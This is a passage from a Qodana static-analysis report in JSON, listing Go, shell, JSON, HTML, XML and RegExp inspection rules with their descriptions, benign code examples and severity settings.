boolean expressions that are either always `true`, always `false`, or redundant. Such boolean expressions can be simplified, which may improve a readability of the code. In some cases, this also indicates a presence of other issues.\\n\\nExample:\\n\\n    func isNonZero(x, y int) bool {\\n      // the second comparison is either always true\\n      // or not executed at all\\n      return x > 0 && x > 0\\n    }\\n\\nYou can apply the **Simplify expression** quick-fix for the `x > 0 && x > 0` part. After the quick-fix\\nis applied, the expression looks as follows: `x > 0`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoBoolExpressions\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedGlobalVariable\",\n                \"shortDescription\": {\n                  \"text\": \"Unused global variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports global variables that are defined but are never used in code. If you have unused variables, the code will not compile. For more information about unused variables and imports, refer to Unused imports and variables at go.dev. 'func main() {\\n a := 422\\n}' Code in the example will not compile. Therefore, it is highlighted as an error. You can apply two quick-fixes for such cases: Delete variable and Rename to _. The first quick-fix deletes the variable, the second one will convert the variable to a blank identifier. After the Rename to _ quick-fix is applied: 'func main() {\\n _ := 422\\n}'\",\n                  \"markdown\": \"Reports global variables that are defined but are never used in code.\\n\\nIf you have unused variables, the code will not compile.\\nFor more information about unused variables and imports, refer to [Unused imports and\\nvariables at go.dev](https://go.dev/doc/effective_go#blank_unused).\\n\\n    func main() {\\n     a := 422\\n    }\\n\\nCode in the example will not compile. Therefore, it is highlighted as an error. You can apply two quick-fixes for such cases:\\n**Delete variable** and **Rename to _**. The first quick-fix deletes the variable, the second one will convert the variable to a blank\\nidentifier.\\n\\nAfter the **Rename to _** quick-fix is applied:\\n\\n    func main() {\\n     _ := 422\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedGlobalVariable\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoAssignmentToReceiver\",\n                \"shortDescription\": {\n                  \"text\": \"Assignment to a receiver\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports assignments to method receivers. When you assign a value to the method receiver, the value will not be reflected outside of the method itself. Values will be reflected in subsequent calls from the same method. Example: 'package main\\n\\nimport \\\"fmt\\\"\\n\\ntype demo struct {\\n Val int\\n}\\n\\nfunc (d *demo) change() {\\n d = nil // Assignment to the method receiver propagates only to callees but not to callers\\n d.myVal()\\n}\\n\\nfunc (d *demo) myVal() {\\n fmt.Printf(\\\"my val: %#v\\\\n\\\", d)\\n}\\n\\nfunc (d demo) change2() {\\n d = demo{} // Assignment to the method receiver doesn't propagate to other calls\\n d.myVal()\\n}\\n\\nfunc (d *demo) change3() {\\n d.Val = 3\\n d.myVal()\\n}\\n\\nfunc main() {\\n d := &demo{}\\n d.myVal()\\n d.change()\\n d.myVal()\\n d.Val = 2\\n d.change2()\\n d.myVal()\\n d.change3()\\n d.myVal()\\n}'\",\n                  \"markdown\": \"Reports assignments to method receivers.\\n\\nWhen you assign a value to the method receiver, the value will not be reflected outside of the method itself.\\nValues will be reflected in subsequent calls from the same method.\\n\\nExample:\\n\\n    package main\\n\\n    import \\\"fmt\\\"\\n\\n    type demo struct {\\n     Val int\\n    }\\n\\n    func (d *demo) change() {\\n     d = nil // Assignment to the method receiver propagates only to callees but not to callers\\n     d.myVal()\\n    }\\n\\n    func (d *demo) myVal() {\\n     fmt.Printf(\\\"my val: %#v\\\\n\\\", d)\\n    }\\n\\n    func (d demo) change2() {\\n     d = demo{} // Assignment to the method receiver doesn't propagate to other calls\\n     d.myVal()\\n    }\\n\\n    func (d *demo) change3() {\\n     d.Val = 3\\n     d.myVal()\\n    }\\n\\n    func main() {\\n     d := &demo{}\\n     d.myVal()\\n     d.change()\\n     d.myVal()\\n     d.Val = 2\\n     d.change2()\\n     d.myVal()\\n     d.change3()\\n     d.myVal()\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoAssignmentToReceiver\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Control flow issues\",\n                      \"index\": 50,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoLoopClosure\",\n                \"shortDescription\": {\n                  \"text\": \"Loop variables captured by the func literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports references to loop variables from within 'func' literals in 'defer' and 'go' statements. Such variables might have unexpected values because they are not copied to 'func' literals, and the 'func' literals in 'defer' and 'go' are not executed immediately. For more information about closures and goroutines, refer to What happens with closures running as goroutines? at go.dev. Example: 'for _, v := range []string{\\\"a\\\", \\\"b\\\", \\\"c\\\"} {\\n  go func() {\\n    fmt.Println(v) // output will likely be `c c c`, not `a b c`\\n  }()\\n}' After the quick-fix is applied: 'for _, v := range []string{\\\"a\\\", \\\"b\\\", \\\"c\\\"} {\\n  v := v // `v` is copied now\\n  go func() {\\n    fmt.Println(v)\\n  }()\\n}' Note the analyzer only checks 'defer' and 'go' statements when they are the last statement in the loop body. Otherwise, the analysis might produce false detections.\",\n                  \"markdown\": \"Reports references to loop variables from within `func` literals in `defer` and `go` statements. Such variables might have unexpected values because they are not copied to `func` literals, and the `func` literals in `defer` and `go` are not executed immediately.\\n\\nFor more information about closures and goroutines, refer to [What happens\\nwith closures running as goroutines? at go.dev](https://go.dev/doc/faq#closures_and_goroutines).\\n\\nExample:\\n\\n    for _, v := range []string{\\\"a\\\", \\\"b\\\", \\\"c\\\"} {\\n      go func() {\\n        fmt.Println(v) // output will likely be `c c c`, not `a b c`\\n      }()\\n    }\\n\\nAfter the quick-fix is applied:\\n\\n    for _, v := range []string{\\\"a\\\", \\\"b\\\", \\\"c\\\"} {\\n      v := v // `v` is copied now\\n      go func() {\\n        fmt.Println(v)\\n      }()\\n    }\\n\\nNote the analyzer only checks `defer` and `go` statements when they are the last statement in the loop body.\\nOtherwise, the analysis might produce false detections.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoLoopClosure\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoBuildTag\",\n                \"shortDescription\": {\n                  \"text\": \"Malformed build tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports malformed build tags and build tags in the incorrect location. The 'go' tool expects build tags to be located in particular places and follow a special syntax. If these requirements are not followed, build tags could either be ignored or the files could be incorrectly excluded from the build. See Build Constraints at go.dev. Example: 'package main\\n\\n// +build ignore\\n\\nfunc main() {}' The '// +build ignore' part should be before the package declaration. To fix that, you can apply the Place build tag before package quick-fix. After the quick-fix is applied: '// +build ignore\\n\\npackage main\\n\\nimport \\\"fmt\\\"'\",\n                  \"markdown\": \"Reports malformed build tags and build tags in the incorrect location. The `go` tool expects build tags to be located in particular places and follow a special syntax. If these requirements are not followed, build tags could either be ignored or the files could be incorrectly excluded from the build.\\n\\nSee [Build Constraints at go.dev](https://pkg.go.dev/go/build#hdr-Build_Constraints).\\n\\nExample:\\n\\n    package main\\n\\n    // +build ignore\\n\\n    func main() {}\\n\\nThe `// +build ignore` part should be before the package declaration. To fix that, you can apply\\nthe **Place build tag before package** quick-fix. After the quick-fix is applied:\\n\\n    // +build ignore\\n\\n    package main\\n\\n    import \\\"fmt\\\"\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoBuildTag\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"com.jetbrains.sh\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"ShellCheck\",\n                \"shortDescription\": {\n                  \"text\": \"ShellCheck\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports shell script bugs detected by the integrated ShellCheck static analysis tool.\",\n                  \"markdown\": \"Reports shell script bugs detected by the integrated [ShellCheck](https://github.com/koalaman/shellcheck) static analysis tool.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ShellCheck\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Shell script\",\n                      \"index\": 6,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"com.intellij\",\n            \"version\": \"233.13017.73\",\n            \"rules\": [\n              {\n                \"id\": \"JsonSchemaDeprecation\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated JSON property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a deprecated property in a JSON file. Note that deprecation mechanism is not defined in the JSON Schema specification yet, and this inspection uses a non-standard extension 'deprecationMessage'.\",\n                  \"markdown\": \"Reports a deprecated property in a JSON file.  \\nNote that deprecation mechanism is not defined in the JSON Schema specification yet, and this inspection uses a non-standard extension 'deprecationMessage'.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JsonSchemaDeprecation\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JSON and JSON5\",\n                      \"index\": 8,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JsonSchemaRefReference\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved '$ref' and '$schema' references\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved '$ref' or '$schema' path in a JSON schema.\",\n                  \"markdown\": \"Reports an unresolved `$ref` or `$schema` path in a JSON schema.  \"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JsonSchemaRefReference\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JSON and JSON5\",\n                      \"index\": 8,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlUnknownBooleanAttribute\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect boolean attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an HTML non-boolean attribute without a value. Suggests configuring attributes that should not be reported.\",\n                  \"markdown\": \"Reports an HTML non-boolean attribute without a value. Suggests configuring attributes that should not be reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlUnknownBooleanAttribute\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"DuplicatedCode\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicated code fragment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicated blocks of code from the selected scope: the same file or the entire project. The inspection features quick-fixes that help you to set the size of detected duplicates, navigate to repetitive code fragments, and compare them in a tool window. The inspection options allow you to select the scope of the reported duplicated fragments and set the initial size for the duplicated language constructs.\",\n                  \"markdown\": \"Reports duplicated blocks of code from the selected scope: the same file or the entire project.\\n\\nThe inspection features quick-fixes that help you to set the size of detected duplicates, navigate to repetitive code fragments, and compare them in a tool window.\\n\\nThe inspection options allow you to select the scope of the reported duplicated fragments and set the initial size for the duplicated language constructs.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"DuplicatedCode\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"InconsistentLineSeparators\",\n                \"shortDescription\": {\n                  \"text\": \"Inconsistent line separators\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports files with line separators different from the ones that are specified in the project's settings. For example, the inspection will be triggered if you set the line separator to '\\\\n' in Settings | Editor | Code Style | Line separator, while the file you are editing uses '\\\\r\\\\n' as a line separator. The inspection also warns you about mixed line separators within a file.\",\n                  \"markdown\": \"Reports files with line separators different from the ones that are specified in the project's settings.\\n\\nFor example, the inspection will be triggered if you set the line separator to `\\\\n` in\\n[Settings \\\\| Editor \\\\| Code Style \\\\| Line separator](settings://preferences.sourceCode?Line%20separator),\\nwhile the file you are editing uses `\\\\r\\\\n` as a line separator.\\n\\nThe inspection also warns you about mixed line separators within a file.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"InconsistentLineSeparators\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RedundantSuppression\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant suppression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of the following elements that can be safely removed because the inspection they affect is no longer applicable in this context: '@SuppressWarning' annotation, or '// noinspection' line comment, or '/** noinspection */' JavaDoc comment Example: 'public class C {\\n // symbol is already private,\\n // but annotation is still around\\n  @SuppressWarnings({\\\"WeakerAccess\\\"})\\n  private boolean CONST = true;\\n  void f() {\\n    CONST = false;\\n  }\\n}'\",\n                  \"markdown\": \"Reports usages of the following elements that can be safely removed because the inspection they affect is no longer applicable in this context:\\n\\n* `@SuppressWarning` annotation, or\\n* `// noinspection` line comment, or\\n* `/** noinspection */` JavaDoc comment\\n\\nExample:\\n\\n\\n    public class C {\\n     // symbol is already private,\\n     // but annotation is still around\\n      @SuppressWarnings({\\\"WeakerAccess\\\"})\\n      private boolean CONST = true;\\n      void f() {\\n        CONST = false;\\n      }\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RedundantSuppression\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ProblematicWhitespace\",\n                \"shortDescription\": {\n                  \"text\": \"Problematic whitespace\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports the following problems: Tabs used for indentation when the code style is configured to use only spaces. Spaces used for indentation when the code style is configured to use only tabs. Spaces used for indentation and tabs used for alignment when the code style is configured to use smart tabs.\",\n                  \"markdown\": \"Reports the following problems:\\n\\n* Tabs used for indentation when the code style is configured to use only spaces.\\n* Spaces used for indentation when the code style is configured to use only tabs.\\n* Spaces used for indentation and tabs used for alignment when the code style is configured to use smart tabs.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ProblematicWhitespace\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlUnknownTarget\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved file in a link\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved file in a link.\",\n                  \"markdown\": \"Reports an unresolved file in a link.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlUnknownTarget\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"SSBasedInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Structural search inspection\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Allows configuring Structural Search/Structural Replace templates that you can apply to the file you are editing. All matches will be highlighted and marked with the template name that you have configured. If you configure the Structural Replace pattern as well, the corresponding replace option will be available as a quick-fix.\",\n                  \"markdown\": \"Allows configuring **Structural Search/Structural Replace** templates that you can apply to the file you are editing.\\n\\nAll matches will be highlighted and marked with the template name that you have configured.\\nIf you configure the **Structural Replace** pattern as well, the corresponding replace option will be available as a quick-fix.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"SSBasedInspection\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Structural search\",\n                      \"index\": 28,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"LongLine\",\n                \"shortDescription\": {\n                  \"text\": \"Line is longer than allowed by code style\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports lines that are longer than the Hard wrap at parameter specified in Settings | Editor | Code Style | General.\",\n                  \"markdown\": \"Reports lines that are longer than the **Hard wrap at** parameter specified in [Settings \\\\| Editor \\\\| Code Style \\\\| General](settings://preferences.sourceCode?Hard%20wrap%20at).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"LongLine\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlWrongRootElement\",\n                \"shortDescription\": {\n                  \"text\": \"Wrong root element\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a root tag name different from the name specified in the '<doctype>' tag.\",\n                  \"markdown\": \"Reports a root tag name different from the name specified in the `<doctype>` tag.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlWrongRootElement\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckValidXmlInScriptTagBody\",\n                \"shortDescription\": {\n                  \"text\": \"Malformed content of 'script' tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports contents of 'script' tags that are invalid XML. Example: '<script type=\\\"text/javascript\\\">\\n    console.log('<');\\n  </script>' After the quick-fix is applied: '<script type=\\\"text/javascript\\\">\\n    console.log('&lt;');\\n  </script>'\",\n                  \"markdown\": \"Reports contents of `script` tags that are invalid XML.  \\n\\n**Example:**\\n\\n\\n      <script type=\\\"text/javascript\\\">\\n        console.log('<');\\n      </script>\\n\\nAfter the quick-fix is applied:\\n\\n\\n      <script type=\\\"text/javascript\\\">\\n        console.log('&lt;');\\n      </script>\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckValidXmlInScriptTagBody\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpSuspiciousBackref\",\n                \"shortDescription\": {\n                  \"text\": \"Suspicious back reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports back references that will not be resolvable at runtime. This means that the back reference can never match anything. A back reference will not be resolvable when the group is defined after the back reference, or if the group is defined in a different branch of an alternation. Example of a group defined after its back reference: '\\\\1(abc)' Example of a group and a back reference in different branches: 'a(b)c|(xy)\\\\1z' New in 2022.1\",\n                  \"markdown\": \"Reports back references that will not be resolvable at runtime. This means that the back reference can never match anything. A back reference will not be resolvable when the group is defined after the back reference, or if the group is defined in a different branch of an alternation.\\n\\n**Example of a group defined after its back reference:**\\n\\n\\n      \\\\1(abc)\\n\\n**Example of a group and a back reference in different branches:**\\n\\n\\n      a(b)c|(xy)\\\\1z\\n\\nNew in 2022.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpSuspiciousBackref\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpSingleCharAlternation\",\n                \"shortDescription\": {\n                  \"text\": \"Single character alternation\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports single char alternation in a RegExp. It is simpler to use a character class instead. This may also provide better matching performance. Example: 'a|b|c|d' After the quick-fix is applied: '[abcd]' New in 2017.1\",\n                  \"markdown\": \"Reports single char alternation in a RegExp. It is simpler to use a character class instead. This may also provide better matching performance.\\n\\n**Example:**\\n\\n\\n      a|b|c|d\\n\\nAfter the quick-fix is applied:\\n\\n\\n      [abcd]\\n\\n\\nNew in 2017.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpSingleCharAlternation\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlUnknownAttribute\",\n                \"shortDescription\": {\n                  \"text\": \"Unknown attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unknown HTML attribute. Suggests configuring attributes that should not be reported.\",\n                  \"markdown\": \"Reports an unknown HTML attribute. Suggests configuring attributes that should not be reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlUnknownAttribute\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckTagEmptyBody\",\n                \"shortDescription\": {\n                  \"text\": \"Empty element content\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports XML elements without contents. Example: '<user>\\n    <name></name>\\n  </user>' After the quick-fix is applied: '<user>\\n    <name/>\\n  </user>'\",\n                  \"markdown\": \"Reports XML elements without contents.\\n\\n**Example:**\\n\\n\\n      <user>\\n        <name></name>\\n      </user>\\n\\nAfter the quick-fix is applied:\\n\\n\\n      <user>\\n        <name/>\\n      </user>\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckTagEmptyBody\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpRedundantEscape\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant character escape\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports redundant character escape sequences that can be replaced with unescaped characters preserving the meaning. Many escape sequences that are necessary outside of a character class are redundant inside square brackets '[]' of a character class. Although unescaped opening curly braces '{' outside of character classes are allowed in some dialects (JavaScript, Python, and so on), it can cause confusion and make the pattern less portable, because there are dialects that require escaping curly braces as characters. For this reason the inspection does not report escaped opening curly braces. Example: '\\\\-\\\\;[\\\\.]' After the quick-fix is applied: '-;[.]' The Ignore escaped closing brackets '}' and ']' option specifies whether to report '\\\\}' and '\\\\]' outside of a character class when they are allowed to be unescaped by the RegExp dialect. New in 2017.3\",\n                  \"markdown\": \"Reports redundant character escape sequences that can be replaced with unescaped characters preserving the meaning. Many escape sequences that are necessary outside of a character class are redundant inside square brackets `[]` of a character class.\\n\\n\\nAlthough unescaped opening curly braces `{` outside of character classes are allowed in some dialects (JavaScript, Python, and so on),\\nit can cause confusion and make the pattern less portable, because there are dialects that require escaping curly braces as characters.\\nFor this reason the inspection does not report escaped opening curly 